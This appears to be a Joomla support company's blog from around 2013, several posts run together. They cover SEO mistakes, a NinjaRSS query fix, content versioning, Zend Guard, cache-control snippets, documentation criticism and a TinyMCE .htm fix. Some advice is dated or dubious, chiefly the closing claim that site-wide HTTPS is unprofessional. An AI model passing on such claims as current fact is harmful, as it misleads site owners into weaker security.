Meanwhile, do not hit that Update Now button in your Joomla’s backend unless you have your website and your database both backed up. But, if you already clicked that button and caused your Joomla website to stop working (and you don’t have a backup), then fear not, we’re here to help. Just contact us and we’ll restore your website back to working condition in no time and for a very affordable fee.

20 Tips to Lose Traffic on Your Joomla Website

Yes – we know – the title of this post is a bit weird. 20 tips to lose traffic? Well, we figured, if we explain what happens when things are done the wrong way then we’ll create a sense of awareness that’ll help many Joomla administrators to do things the right way, which is a step towards making Joomla websites even better!

Below you can find a list of actions and inactions that you can take to decrease traffic on your Joomla website:

  • Tip #1: Do not update your Joomla website: Updating your Joomla website typically addresses performance and security issues. If you don’t update it then your website will most likely get hacked, eventually making you lose your spot in Google’s rankings. Isn’t that great?

  • Tip #2: Ensure your website is slow, very slow: A slow website is ideal for those who don’t want Google to visit them often. Think about Google as a customer in a restaurant, the longer that customer has to wait, the more likely he’ll go somewhere else, and that’s what Google does: the slower your website is, the less visits you get from Google, which means the less Google knows about your website, which means the less your search engine rankings will be.

  • Tip #3: Have a lot of scheduled maintenances: Ah, those scheduled maintenances. They are all about temporarily serving a blank page to Google. Google might think that a blank page (or error page) is just a glitch the first time it sees it, but if those blank pages are more of a norm rather than the exception, then Google will start diverting your traffic to a competitor, because simply, Google will think (and rightly so) that your website doesn’t provide any value to the visitors.

  • Tip #4: Not paying attention to the competition: Your competing websites are growing by the day and are working very hard to beat you. They are using all the tools and the techniques they can get their hands on to steal your keywords. Pretending that they don’t exist and doing nothing about them is a great way to lose traffic to them.

  • Tip #5: Leave your website hacked: If your website gets hacked, then leave it as it is. It might just fix itself in a few days, and if it doesn’t, then it might get either penalized by Google or even completely wiped out from the index. This means zero traffic from Google. Isn’t that exactly what you want?

  • Tip #6: Don’t care about having a logical site structure: Let’s see. You have a new menu item to add, and that menu item is a new product. But why add it under the Products menu item (where it should be), just add it anywhere and search engines will sort that thing out for you (and for your customers), and if they don’t, then the merrier, because you will lose traffic since a confusing/meaningless site structure is the best search engine deterrent.

  • Tip #7: Just delete the robots.txt file: The robots.txt is an extremely important file for search engines. It tells them which areas of your website to index and which areas to ignore. Deleting this file is like telling them to index everything on your website, which will dilute the page rank of the pages that really need to be indexed. Another great way of losing traffic.

  • Tip #8: Create some infinite loops with sh404SEF: sh404SEF can be (mis)used to create infinite loops on your Joomla website. Do that, and we’ll guarantee you that you’ll start losing traffic on your Joomla website the moment you do it. Not only with this method you will lose visitors and traffic, but you will also create a huge load on your server (which will lead to performance issues on your website), thus losing even more traffic. (See Tip #2).

  • Tip #9: Stop creating new content: The traffic catalyst to any website is content, without content, your website won’t get any traffic. Now, if your website already has a decent traffic which is starting to annoy you, then you can just stop writing new content. This will make Google, Yahoo, and the likes to think that your website is abandoned, and as such, they will gradually reduce the traffic sent your way.

  • Tip #10: Don’t have a blog: As a corollary to Tip #9, having a blog will increase your search engine rankings, which means that you shouldn’t have one if you want to lose traffic. If you already have one, then you should think about getting rid of it or even redirecting it to a competitor’s blog.

  • Tip #11: Have a broken .htaccess file: A broken/wrong .htaccess file can:

    • Generate a lot of errors on your Joomla website
    • Cause indexing issues
    • Completely disable your website

    All the above things can reflect very badly on your search engine rankings because search engines generally don’t like visiting websites with errors.

  • Tip #12: Disable SEF: Whoever said that search engines don’t like links such as index.php?option=com_content&id=5&Itemid=10 was right. Search engines think that these links are complicated and that they don’t tell users what they are about by just looking at them. Disabling SEF on your website (and all other 3rd party URL rewriting extensions, such as sh404SEF) ensures that your links will have the exact same format which is disliked by search engines.

  • Tip #13: Have the same meta information for all the pages: Search engines don’t respect websites with no meta information or where all pages have the exact same meta information. So, if you have set meta information for some your pages, then remove it, because search engines will rank you higher if you don’t.

  • Tip #14: Use dofollow for all of the links that are external to your website: Search engines are perfectly OK if you choose to pass some link juice to other external websites, but, keep in mind that any external link on any page on your website will reduce the importance of that page from a search engine perspective. If, for some reason, the importance of that page is not reduced, then it might be that you are using rel=”nofollow” on the anchor tag to block the link juice from being passed to 3rd party websites. Address this immediately by removing all the rel=”nofollow” so that search engines will think that the websites you are linking to are more important than yours. Also, don’t forget to ensure that all the links to social websites are not rel=”nofollow”, since these social websites such as Twitter and the likes need all the link juice that they can get – they are also generous enough to use rel=”nofollow” on their end (social websites don’t pass any link juice to any external website because all their external links are rel=”nofollow”).

  • Tip #15: Leverage your website’s SEO strength to make money: Sell blog posts, sell links, sell text ads, etc… Just sell anything on your website that other people tell you to sell, and you are sure to get either penalized or de-indexed (e.g. blocked) by Google in no time. The even better news is that you’ll get paid a few dollars (or a few hundred dollars, depending on your website) for the ads that will get you penalized.

  • Tip #16: Don’t even look at Google’s webmaster tools: Google’s webmaster tools provides a lot of insight on what is wrong on your website such as:

    • 404 errors you have on your website and where they are
    • Duplicate titles and duplicate meta descriptions
    • Server issues you have on your website
    • DNS issues

    Ignoring Google’s webmaster tools altogether ensures that you don’t know about any issue that you have on your website (that Google knows about), which means that you don’t have to fix it. This is a silver bullet for losing traffic.

  • Tip #17: Install a gazillion 3rd party JavaScript embed codes: Most, if not all, JavaScript embed codes (especially the free ones) are really there to spy on your website and steal your keywords, while giving you in return very limited functionality. The information they get from your website is usually passed along to your competitors, who will most likely use it to crush you. 3rd party JavaScript embed codes can also slow down your website considerably (this happens a lot). See Tip #2 and Tip #4.

  • Tip #18: Page Titles? What Page Titles?: One of the most important factors used to rank your website is the page title. Since you want low rankings, then ensure that your page titles are completely irrelevant to your content. Failing that, try to add as many keywords to your page titles, including, but not limited to: The name of your website (add it to the beginning of the page title for maximum impact), the high ranking keywords you want to rank for, and the name of your brother’s in law second grade physics teacher. That combination will do miracles to your search rankings.

  • Tip #19: Have a messed up, invalid HTML: Search engines love websites with valid HTML, and since you don’t love search engines, then you should ensure that your HTML is not valid and that the W3C tool will generate at least 100 errors when trying to validate your website.

  • Tip #20: Focus only on search engine traffic and ignore social traffic: A few years ago, a website only needed search engine traffic to survive and to thrive. Nowadays, search engine traffic is not enough, social traffic is increasing by the day, and search engines are taking social traffic and social presence as a positive contributing factor to rank your website. Focusing solely on search engine traffic and being completely oblivious to social traffic will mean that your general traffic will ensure a consistent decline for the foreseeable future.

Since you spent all this time reading our 20 tips to lose traffic, here’s a couple of bonus tips for you:

  • Tip #21: Do not interlink: You are writing a new blog post (which is a big no-no, see Tip #10), and you remember that buried blog post that you wrote a few years ago and that will explain a bit more about the side-topic that you’re discussing. Keep that post buried! Do not link to it, linking to it will revive it and may accidentally increase your traffic. Interlinking to other pages on your website should be avoided at all costs if you want to keep that traffic to a minimum.

  • Tip #22: Hire SEO companies that guarantee top results in Google: Google warns against these companies, and that’s why you should use them. They have these wow techniques that will increase your website’s traffic by about 4 folds for a few days, but then Google discovers their tricks techniques, and your website will get penalized or banned for eternity.

We hope you enjoyed this post. It took us nearly 4 hours to write it, edit it, review it, and re-review it, but it was really fun! Now, if you’re committing any of the above tips mistakes, and you need help fixing it, then please contact us. We are experts in Joomla, our work is fast and professional, and we don’t charge much!

NinjaRSS Syndicator Substantially Slows Down Joomla Websites

One of the things that Joomla sites must have (by default), and currently don’t, is RSS syndication. RSS syndication allows your content to be syndicated across the web, which means better exposure, which in turn means more traffic. We have no idea why Joomla doesn’t have this as a built-in functionality, and we’re almost sure that it won’t have this in the foreseeable future, simply because RSS, as a syndication tool, seems to be losing grounds to social networks such as Twitter and Facebook. Even Google doesn’t believe in RSS anymore.

So, in the meanwhile, what do most Joomla websites use as an RSS tool? Well, if there is any mainstream RSS tool for Joomla, it must be NinjaRSS Syndicator. We know, the presence of Ninja in the name doesn’t command respect, but, for some reason, NinjaRSS Syndicator is the most used RSS extension for Joomla, even for very large websites. One would think that that reason (yes, we know there are two thats, but they do make sense!) for that tool to be very common is because of its stability and its performance. If you actually believe this is the case, then let us tell you a little story…

Earlier in the day a customer called us and told us that his company’s Joomla website is crashing – with a lot of those Cannot connect to database MySQL errors. We checked the load on the server and it was extremely high (we’re talking about 70%) and MySQL was generating a load of about 1,200% (yes, that’s 1,200!). We restarted MySQL and Apache and enabled the MySQL Slow Query Log to reveal the bottlenecks on the website. Fifteen minutes later, the website crashed, but this time, we had a conclusive evidence of who the culprit was. It was this query:

SELECT DISTINCT u.id as userid, IFNULL(c.id,a.catid) as catid, a.sectionid as secid, a.id as id, a.*, a.introtext as itext, a.fulltext as mtext, u.name AS author, u.usertype, u.email as authorEmail, a.created_by_alias as authorAlias, a.created AS dsdate, a.modified as updated, c.title as catName, CASE WHEN CHAR_LENGTH(a.alias) THEN CONCAT_WS(":", a.id, a.alias) ELSE a.id END as slug, CASE WHEN CHAR_LENGTH(c.alias) THEN CONCAT_WS(":", c.id, c.alias) ELSE c.id END as catslug
FROM #__content AS a
LEFT JOIN #__users AS u ON u.id = a.created_by
LEFT JOIN `#__categories` AS c on c.id = a.catid
WHERE a.state='1'
AND a.id IN (SELECT content_id FROM #__content_frontpage)
AND (a.access = 1 OR a.access = 5)
AND (c.access = 1 OR c.access = 5)
AND (a.publish_up = '0000-00-00 00:00:00' OR a.publish_up <= '2013-11-12 10:17:47')
AND (a.publish_down = '0000-00-00 00:00:00' OR a.publish_down >= '2013-11-12 10:17:47')
ORDER BY a.created DESC LIMIT 20;

The above query was taking 13 seconds to execute, and was examining 59,543 rows (that’s about 60k rows), and MySQL was attempting to execute it every couple of seconds! And, which file contained this query? Well, it was none other than the ninjarsssyndicator.php file, which was located under the components/com_ninjarsssyndicator/models directory. In other words, it was the famed NinjaRSS Syndicator extension that was causing this load on the server.

So, what did we do to fix the problem?

The query was slow because of the usage of the DISTINCT keyword at the beginning of the query, which will have to ensure that every row returned by MySQL is unique. Technically, the returned rows must be unique without even using the DISTINCT keyword. So, removing the word DISTINCT from line 130 in the ninjarsssyndicator.php file (again, which is located under the components/com_ninjarsssyndicator/models directory) fixed the problem.

And what does that mean?

It means that even those extensions that most Joomla administrators trust and use on a daily basis can be flawed with performance issues (and/or security issues) that can bring down their websites in a matter of minutes. Joomla administrators must be diligent with their choice of extensions and must examine their logs regularly for performance issues.

If you have the same problem on NinjaRSS Syndicator, then we hope you found this post useful. If you didn’t, or if you need help with another non-performing extension, then please contact us. We are extremely knowledgeable about Joomla, our work is professional and fast, and we don’t charge that much!

Finally, Joomla Has Version Control

If we had a dime every time the IT Manager of a company asked us whether Joomla has version control or not, we’d be very, very rich! Like each us would have his own Bugatti Veyron rich. OK, you get the point… But we really do get asked a lot whether this feature exists or not. It is by far the most important feature that large companies want to have in their CMS.

So, what does version control do?

Version control allows the administrator to revert back to a previous version of a content item (typically an article). This means that if something goes wrong with that content item (especially formatting wise), then the administrator will be able to easily revert back to a previous version.

And now Joomla has it?

Yes! Joomla version 3.2 (which was released yesterday [November 6, 2013]) has this feature (Joomla calls it Content Versioning – note that it only applies to Joomla’s own content, and not to other types of content, such as K2 articles). Unfortunately, this feature is not available in Joomla 2.5 (even in its latest version, which is 2.5.15) – our guess is that Joomla 2.5 will never have this feature. So, those who really want version control must upgrade to Joomla 3.2.

So how does version control work in Joomla 3.2?

It’s quite easy. Let’s say you are editing a huge article (that was already saved before) in Joomla 3.2, and then you accidentally removed a <div> layer and then clicked on the Save button on the top. Now, when you check the article, you’ll notice that the whole formatting is wrong. Previously, you had to spend a lot of time just trying to fix it (especially if you don’t have much experience in HTML), or you had to pay someone to fix it for you. Now, all you need to do is to go back to the backend, open the article in edit mode, and then click on the Versions button the top, and then from the Item Version History popup window, you choose which version you want to revert to (you just check the box next to it), and then you click Restore. That’s it, your old article now shows up! Easy, huh?

But what if I don’t want the overhead of version control?

If you feel secure enough with your Joomla skills and believe that this feature is just overhead (technically it is, because every version of a content item is an additional row of that content item’s table in the database) then you can disable it by doing the following:

  • Go to the Article Manager.

  • Click on Options on the top right.

  • Click on the Editing Layout tab.

  • Choose “No” next to Save History.

  • Click on Save on the top left.

Note that if you are upgrading from a previous version of Joomla, this feature will be defaulted to “No” (so if you want version control you will need to enable it by performing the above steps and, in the last step, choose “Yes”). If you’re installing Joomla 3.2 from scratch, then it’ll default to “Yes”.

Will it break some existing extensions?

Unless you are using a really horrible extension that doesn’t even filter published from non-published items, then you won’t have any problem. If, by any chance, you were unfortunate enough to have such a buggy extension, then you can call in some Joomla experts to fix it for you. Alternatively, you can disable version control as described above.

To which type of content does Joomla version control apply to?

Joomla version control applies to the following content:

  • Articles
  • Banners
  • Categories
  • Contacts
  • News Feeds
  • User Notes
  • Weblinks

As stated above, version control currently does not apply to 3rd party extensions, but we expect prominent 3rd party extensions to soon follow suit!

If you have installed/updated to Joomla 3.2 and if you are having problems with one or more of your extensions because of it, then try disabling it. If you still want it anyway, then please contact us. We’ll fix the problem for you in not time and for an extremely reasonable fee!

The Dangers of Switching from Joomla to a Custom CMS

The Marketing Manager of a large company called us today and told us that they were thinking of moving from Joomla to a custom, homemade CMS. He asked us about our opinion and whether we think they should go forward with the move or not. We told him that we highly recommend against this move, for many reasons, namely:

  • Joomla has been evolving and getting (mostly) better for nearly a decade now (even for more than a decade if you add the number of years before it forked out of Mambo) because of the feedback of a huge community. That’s not the same case for a custom CMS. A custom CMS may be infected with bugs and may be completely insecure. It’ll also take ages for that custom CMS to do what Joomla can do, simply because the group using that CMS will be relatively very small.

  • While Joomla is not the easiest CMS on the planet, it is still relatively easy considering the work that it does. On the other hand, an easy to use custom CMS is a far fetched dream. A custom CMS is usually extremely hard to learn and very restrictive, thus negatively affecting productivity and throwing lots of support work on the IT department.

  • Joomla has the JED (the Joomla Extensions Directory) where one can find extensions for virtually anything. You want a calendar? Easy peasy – just search the JED for calendars, download the one that you like most, install it on your website, and that’s it! You’ll have a calendar on your website in literally minutes. Now, if you’re running your own custom CMS, then it’ll be a totally different story. You’ll have to ask your IT department (or your relevant department, or the consulting company that built the CMS, if it wasn’t built internally) that you want feature X. You will then have to wait – sometimes for months – until the project starts. What’s even more disappointing is that, at many times, the end result wouldn’t even resemble what you initially asked for. (By the way, we are assuming that you have the authority to make financial decisions in your company, if not, then your request has to be first approved by your financial department before it is sent to IT or to the consulting company – and that’s a totally different story!)

  • Joomla is extremely stable – especially the 2.5 version. In its basic incarnation, Joomla works like a charm with no problems whatsoever (unless you have a very large website, in that case you’ll need to optimize it). A custom CMS is the complete opposite, stability issues are the norm rather than the exception, and its users are always treated as permanent beta testers.

  • In our experience, companies that use a custom CMS decide to revert to a mainstream CMS (such as Joomla) after a few years (or even months) of frustration. The problem is, migrating back to Joomla is not an automated process (in other words, it’s a lengthy, zero-fun, pure-pain process) – and it might take a lot of time (depending on the complexity of the CMS) to migrate back to Joomla.

  • Usually, a custom CMS is maintained by a 3rd party company or by a few consultants who might decide, on one Monday morning, that they no longer want to support it (this is an extremely common scenario), thus leaving the company stranded. The company will then be stuck with a CMS that no one can maintain (since its code will be encoded and/or barely readable). The company will then be forced either to develop another custom CMS (thus making the same mistake), or to make the right choice by migrating to Joomla (despite the hurdles and the obstacles associated with that migration).

  • Even if the custom CMS has been developed internally, then it may very well happen that the employees involved in developing and maintaining the CMS are no longer part of the company. This means that both the IT department and the marketing department will be subject to the wrath of anyone using the CMS, until the company hires some employees who are experienced enough to to do the job.

  • In 99.99% of the cases, the custom CMS does not have a template engine – which means that the company will be stuck with a hard coded template. So, if and when the executives decide that it’s time to overhaul the corporate identity, it’ll be extremely painful to apply the new corporate identity to the website. With Joomla, it’s just a matter of creating a new template out of the new design and then installing and activating the template.

We can think of many other reasons why a custom CMS (especially a homemade CMS) should be avoided. If you’re not convinced and you need more explanation on the subject, then feel free to contact us and we’ll be more than happy to help. If, by any chance, you are reading this post because you already are the victim of a custom CMS and you want to move to Joomla, then fear not, we can you help there as well: we will migrate your non-Joomla CMS to Joomla, in whatever language it’s written as long as we have access to your database. Oh, and by the way, our fees are super reasonable!

Does Joomla Require Zend Optimizer to Run?

One of our clients who wanted to switch to another hosting provider called us this morning and asked us whether Joomla requires the Zend Optimizer to run. Our immediate answer was “Do you mean Zend Optimizer? Or Zend Guard?”. He thought for a moment and answered that he’s not sure…

We answered that he most likely meant Zend Guard (which is often confused with Zend Optimizer), which is a server tool that allows software companies to sell their PHP based applications without giving away the code. OK – we know – it sounds a bit vague, so let us explain to you how this works…

Let’s say you purchased a 3rd party extension that requires Zend Guard to work. Now, typically, when you install a regular extension (e.g. an extension that doesn’t require any tool to run) in Joomla, the files of that extension will be extracted to their appropriate places (as specified by the XML manifest file), the #__assets and #__extensions tables in the database will be properly updated, and the extension will be ready for use. Any request to use that extension follows the process below:

  • Apache checks the request and notices that the request consists of processing PHP files so it passes the request (and all the information associated with it) to the PHP parser.
  • The PHP parser reads the necessary PHP files (e.g. the core Joomla files and the PHP files associated with your extension) and verifies there are no parse errors with them.

  • The PHP parser interprets the files and ultimately creates an output.

  • PHP passes the output to Apache.

  • Apache sends the output to the browser.

  • The browser displays the output.

Now, the above is what happens for normal extensions; extensions that don’t need any 3rd party tools to run. So, what is the process for, let’s say, the extension that you just purchased (that requires Zend Guard to run)? Well, here it is:

  • The browser sends the request to the web server.

  • Apache checks the request and notices that it is using some PHP files that are encoded with Zend Guard, to which the request is passed. (Note that since the files are encoded, PHP will not be able to read them).

  • Zend Guard decodes the encoded PHP code in the files and passes the request to PHP.

  • PHP is now able to read the decoded files. It checks them for any parse errors and if there are none, it generates the appropriate output and passes it to Apache.

  • Apache pushes the output to the browser and the latter displays the page.

If you think that the latter method creates an overhead on the server, then you’re right. If you have a very large website, then stay clear of these encoded extensions because they throw some considerable (and unnecessary) load on the server when they are decoded by Zend Guard (or any other PHP encoder/decoder, for that matter).

Now – here’s a small FAQ on the subject:

Are there other tools to encode/decode PHP code that a Joomla administrator need to know about?

Yes – in fact the most used PHP encoded/decoder is not Zen Guard, but it’s called ionCube PHP Encoder. Both have more or less the same performance, but the latter is definitely the standard.

Is it hard to find a hosting company that offers Zend Guard?

No – it is actually very easy. Most hosting companies have Zend Guard (for mysterious reasons hosting companies refer to it as Zend Optimizer) and ionCube PHP Encoder installed on their VPS and dedicated server plans.

Does one need to pay monthly/usage fees for Zend Guard and other PHP encoders?

No – usually the fees are included in the hosting price. We haven’t seen a single company charging additional fees for PHP encoders.

Are there privacy issues associated with Zend Guard and other PHP encoders?

No – what happens on your server stays on your server. Zend Guard and ionCube PHP Encoder do not send any information home. So you can use them with no issues. However, this does not guarantee that the encoded application does not send information to its home. The best way to make sure this is not the case is to monitor the traffic on your server for any weird connections once you use that application.

Are there any disadvantages associated with using a PHP encoder such as Zend Guard?

Well, besides the slower performance and the higher load, the main issue that the a PHP encoded application is technically a black box, which means that neither you nor the best programmer in the world is able to know how the code works. Additionally, such applications are nearly impossible to extend.

Is Joomla fully compatible with PHP encoders?

Joomla does not communicate directly with any encoded PHP code. All the PHP code that Joomla deals with is decoded (by the PHP decoder) prior to any interaction, which means compatibility is a non-issue.

So does Joomla require Zend Guard to run or not?

We know, we have not technically answered the question in the title yet (although the answer is obvious). So, let’s do this right now: Joomla, whether it’s version 1.5, 2.5, or 3.x, does not require anything other than a basic LAMP (Linux, Apache, MySQL, and PHP) environment (check Joomla’s ideal environment here) to work properly. In short, a basic instance of Joomla with no 3rd party extensions can run perfectly well without Zend Guard. If the Joomla website has an extension that requires Zend Guard, then the latter becomes a requirement for the whole website, which means that the server hosting the Joomla site must have the Zend Guard installed.

What if I want help with working with a PHP encoder on a Joomla website?

Well, then you’ve come to the right place. Just contact us and we will instantly jump to help (figuratively speaking) – keep in mind that our very affordable fees apply.

How to Completely Disable Browser Caching on a Joomla Website

A major annoyance on a Joomla website (and on any other website, for that matter) is browser caching. Browser caching, in this day and age, is mainly about caching images, JavaScript files, and CSS files on the client’s end. Now, while browser caching significantly decreases the load time of a page on the client’s end and greatly reduces the server’s bandwidth, it creates other problems: What if an image changes? What if the main CSS file changes? What if there was an additional function that was added to a JavaScript library file and that is now used across the board? If browser caching is enabled (which is the default behavior in any browser), then the client will not be able to see any of these changes, and, as such, the page may look differently than what it actually is for that client and/or some (if not all) functionality will not work for him (in case of a change in a JavaScript file).

So, what can be done to avoid this problem?

Well, there are several solutions to this problem and we have listed them all below (one of these solutions will definitely accommodate your needs):

  1. Ask your users to clear their cache to see the latest version

    If your website is an internal/exclusive website with a limited number of visitors, then the easiest way to get your clients to see the latest version of the website is by asking them to clear their cache. By the way, the majority of browsers out there allow you to see the most recent version of a page (e.g. bypass caching) by loading the page and then clicking on CTRL + R or CTRL + SHIFT + R. This method is very useful if your changes are infrequent and your website is more or less an intranet.

  2. Ask your users to completely disable caching

    Caching can be fully disabled in any browser nowadays. For example, in Firefox, if you want to disable caching, then you will need to click on the Firefox button on the very top left of the page, and then click on Options, and then click on Advanced and then on the Network tab, and then check the box next to Override automatic cache management, and finally set the value next to Limit Cache to 0 (this means that Firefox won’t have any disk-space for caching). There’s a couple of disadvantages associated with this method : 1) It is a bit complicated to disable caching on some browsers (especially Google Chrome) and 2) it’ll slow down browsing on all websites, because nothing will be cached, and everything will have to be re-retrieved on each visit to any page on any website! Note that this method, similar to the above one, is only practical when your visitors are few and are known (e.g. you are running an Intranet).

  3. Instruct the browser to always check for the latest version of your files using Apache directives

    Let’s face it, the first two solutions that we offered are only practical in a closed scenario (e.g. a website that is only used by a few known people), these solutions don’t apply to real websites with real traffic. So what can be done if you’re running a website that has tens of thousands of visitors every day? You can’t just tell them to clear or disable their cache, can you?

    Fortunately, there is a solution, and it is to instruct their browsers to always load the latest version. This can be done by adding the following line to the very beginning of your .htaccess file (the .htaccess file is located under the root directory of your website):

    <IfModule mod_headers.c>
    	<FilesMatch "(?i)^.*\.(css|htm|html|gif|jpg|jpeg|js|png|pdf)$">
    		Header set Cache-Control "max-age=0,must-revalidate"
    	</FilesMatch>
    </IfModule>

    The above method is ideal – it tells the browser to always check for the latest version of CSS files, images, JavaScript files, and Adobe Acrobat files. If the latest version (e.g. the version on the server) is different for any file matching the above, then the browser will retrieve that file from the server and it’ll refresh its (the browser’s) cache.

    Now, we know that technically we are not completely disabling browser caching with this method, but, if you give it a deeper thought, you will know that you are getting the best of both worlds. Users will only load files from your server if these files were changed – which is exactly what you want under normal circumstances. However, if you really want to completely disable browser caching (maybe for security reasons), then you will need to add the below code (instead of the one above) to the beginning of your .htaccess file:

    <IfModule mod_headers.c>
    	<FilesMatch "(?i)^.*\.(css|htm|html|gif|jpg|jpeg|js|png|pdf)$">
    		Header set Cache-Control "no-cache, no-store"
    	</FilesMatch>
    </IfModule>

    The above ensures that the browser doesn’t cache anything from your website and that the browser gets the CSS files, images, JS files, and PDF files from your server even if nothing has changed from the last visit.

  4. Add HTML meta tags to your index.php file

    If you don’t have access to the .htaccess file or if you’re afraid of modifying it, then you can just add the following meta tags immediately after the <jdoc:include type=”head” /> line in your index.php file:

    <meta http-equiv="cache-control" content="no-store">
    <meta http-equiv="pragma" content="no-cache">

    Technically, they’ll have the same effect as the above. The thing is, some users are behind a proxy, and some proxies don’t respect HTML meta tags and cache your files anyway – which means that these users will still see the old cached images (from the proxy) even if these meta tags are there.

  5. Append a dummy GET variable with a dynamic value to the name of the files

    If the above methods did no work for you (for some reason), then a guaranteed solution is to append a dummy GET variable to the name of every file you have on a page (be it an image file or anything else). The value of that dummy variable must change with each page load. This tricks the browser into thinking that it’s loading another file, since, from its perspective (the browser’s perspective), this…

    <img src="/images/stories/logo.jpg">

    … is different than:

    <img src="/images/stories/logo.jpg?v=1">

    and this…

    <img src="/images/stories/logo.jpg?v=1">

    is different than:

    <img src="/images/stories/logo.jpg?v=2">

    Of course, this method has to be done through a plugin (unless you have someone who is fast enough and patient enough to go through all your files and your database and change the v number every time someone visits your website – that was a joke!). This plugin must dynamically change the content of the served page to include a new v variable on every page load.

    This method works very well, but the downside of it is that it can create a huge load on the server. If you have a very large website, then it’s best to stick with the 3rd method above.

If you want to completely disable browser caching on your Joomla website, and none of the above methods worked for you for some reason, or if you need help with their implementation, then please contact us and we’ll be more than happy to help you. We won’t charge you much and we promise that we’ll give you a fully working solution.

Joomla’s Official Documentation Should Be Better!

Every once in a while we get a unique project – a project that requires us to dig into every hidden feature in Joomla to know how we can execute it the “clean” way, without making core modifications and without creating tons and tons of code that could’ve been saved if we just used one of Joomla’s not-so-well-documented built-in classes. Sometimes – this process takes a full day – and it’s all because Joomla is not properly documented…

There are many hidden features in Joomla – too many to be called “Easter Eggs” – that can be helpful in the implementation of challenging Joomla projects. Unfortunately, these hidden features are so hidden they are not even documented – not even on Joomla’s official site. If you’re not convinced, then do a small search on Google on “how to cache a custom Joomla module”… We’re sure that it’ll take you at least an hour to find out how – and that’s because this feature that is extremely used by Joomla developers is not documented at all. (In case you really want to know how, then you will need to create a field named cache in the module’s manifest [XML] file. The cache field should be of type list and it should have a value of 0 [no caching] or 1 [use global configuration]).

The examples supporting our point are countless. For instance: how can you allow the user to change the layout of a custom Joomla module, how can you find a Joomla article by ID, etc…

Another problem with the documentation is that it seems that its momentum has been lost since Joomla 1.5. That’s why you see many Joomla features documented in Joomla 1.5 instead of Joomla 2.5. Some features even have “Joomla 1.5 screenshots that also apply to Joomla 2.5″. We don’t like to be judgmental, but we think this is lame!

It’s lame because it gives Joomla developers (and administrators) the impression that Joomla is no longer properly maintained – it is no longer properly cared for – which means, at one point, it will wither and die. We all know that this is not the case: Joomla is probably the most maintained CMS (from a technical perspective) on the planet! But everyone judges a book by its cover – and documentation is the cover!

Another issue with the documentation is that it’s not organized and it’s not intuitive to browse. One would expect to have every functionality described for every type of extension (for example, the Custom HTML module) from the outside (if the person is a normal user) and from the inside (if the person is a developer looking to extend its functionality) – but this is not the case. Instead, the homepage of Joomla’s documentation is a messed page that is highly confusing. Also, clicking anywhere would certainly lead somewhere else that has a high density of red links (e.g. links that are not linked anywhere – or “suggested topics”).

The final, and most important issue we notice in Joomla’s documentation is the questionable accuracy. Some guides are written by experts (we know that for a fact), while some other guides are written by Joomla enthusiasts that have started using Joomla for a year or two and think they possess the sufficient knowledge to write guides about it. Such guides are typically badly written (we’re talking about really bad usage of English grammar here), inaccurate, don’t make full use of Joomla’s power, and, in most cases, will only work under certain conditions. What makes things worse is that one cannot comment on these guides and warn others, which means that everyone reading these erroneous guides will fall in the same trap. Not good!

So, what’s the solution?

Well, we think that Joomla needs to implement the following substantial changes in its documentation:

  • Allow for moderated commenting on Joomla’s guides – especially on those guides written by enthusiasts. The PHP website is a great example that must be followed.
  • Review (moving forward) all guides submitted to Joomla for accuracy.

  • Make the search feature (on the documentation portal) fuzzy. In other words, if we search for “How to create a user in Joomla using PHP?” we get a relevant result. This is a very ambitious feature but it can be done.

  • Allow 3rd party companies to easily contribute to Joomla’s documentation. These 3rd party companies (that include us) want to see a thriving, prosperous Joomla and will do anything to keep it that way!

  • Get some UX experts to ensure a smooth navigation on the documentation portal.

  • Ensure that the documentation is always up-to-date.

OK – we know that what we’re proposing is a bit ambitious, but it’s necessary to the long term survivability of Joomla. If things are left the way they are right now for a couple of years, then we’ll end up with a completely inconsistent, incoherent, and wrong documentation and then people will really start migrating from Joomla to other Content Management Systems (the alternatives are not that great at the moment by the way, but nobody knows what can happen in a few years).

Yes – this post is a bit on the harsh side – but someone had to write something about this. The frustration that the documentation is causing to anyone using Joomla (whether an administrator, a designer, or a developer) is growing by the day. This needs to be stopped…

Now, if you want to implement something in Joomla but you can’t find the necessary documentation to do that, then please contact us. We’ll do it for you in no time, we’ll explain to you how we did it, and we won’t charge you much.

Browser Tries to Download source_editor.htm When Clicking on the HTML Button in TinyMCE

While working on a Swiss website today, we noticed that every time we clicked on the HTML button in TinymCE, the browser tried to download source_editor.htm (which is a TinyMCE file). At first, we thought that there was a problem with the browser, so we tried another one but we had the exact same problem. Odd…

We then thought since that website was hacked (that’s why we were working on it), it might be that there is this tiny little malicious JavaScript hidden somewhere that is causing this issue, so we cleaned up the website completely, and we checked again, still, the same problem.

Then we thought, what if it was a problem with the hosting environment? What if Apache doesn’t recognize htm files as HTML files? So, we created a small htm file (we called it test.htm), and we uploaded it to the root directory of the website. We then pointed our browser to that file by going to http://ourclientjoomlawebsite.com/test.hm, and true enough, the file was downloaded instead of begin displayed.

So, what did we do to fix the problem?

Fixing the problem was easy, we only needed to add the following line to the beginning of the .htacces file which is located under the root directory of the website:

AddType text/html .html .htm

The above line essentially instructs Apache to treat htm files as html files.

But, why did the problem happen in the first place?

The server our client was on was a very old Plesk server with extremely basic settings – so basic that Apache wasn’t even set to recognize htm files by default. We were amazed that our client was the first one on that server who encountered the issue – but then again, that company didn’t have many clients.

In our opinion, if you encounter this problem, then it’s a sign that the hosting company you’re dealing with cannot be labeled as professional and that it’s a good idea to start shopping around!

Are there other reasons for this problem can happen?

Yes – this can also happen because of erroneous (intentional or unintentional) modifications to TinyMCE’s core. In this case, the best solution to this problem is to re-install TinyMCE from scratch. Re-installation of TinyMCE is extremely tricky, especially if you’re using an old version of Joomla and/or an old version of TinyMCE – in that case, we recommend you contact some professionals to do the work for you.

Another reason where this problem can happen is because of wrong entries in the .htaccess file. If you see that your .htaccess file contains some quirky entries, then backup the file (in case you want to revert back) and remove them immediately, and finally re-test the website to see if the problem is still there.

We hope that our post was helpful for those facing the same problem… But, if you have read this post but you haven’t found it useful (e.g. it didn’t fix your problem), then don’t be shy; just contact us and we’ll fix the problem for you in no time and for a very affordable fee! Go ahead, give us a call or shoot us an email – we are there for you 24/7/365!

Making Your Whole Joomla Website Run HTTPS Mode Is Unprofessional

Now, don’t get us wrong, we are totally pro website security. In fact, we have written so much on Joomla security to prove that. However, we think that sometimes security is applied to the wrong place. An example of this is running a whole Joomla website in HTTPS mode.

For those who don’t know, HTTPS ensures that any request sent and received from the website is encrypted to avoid digital eavesdropping, which is a great idea when the person is doing something important, like logging to a backend or doing activities in that backend. Other than that, it’s just unnecessary.

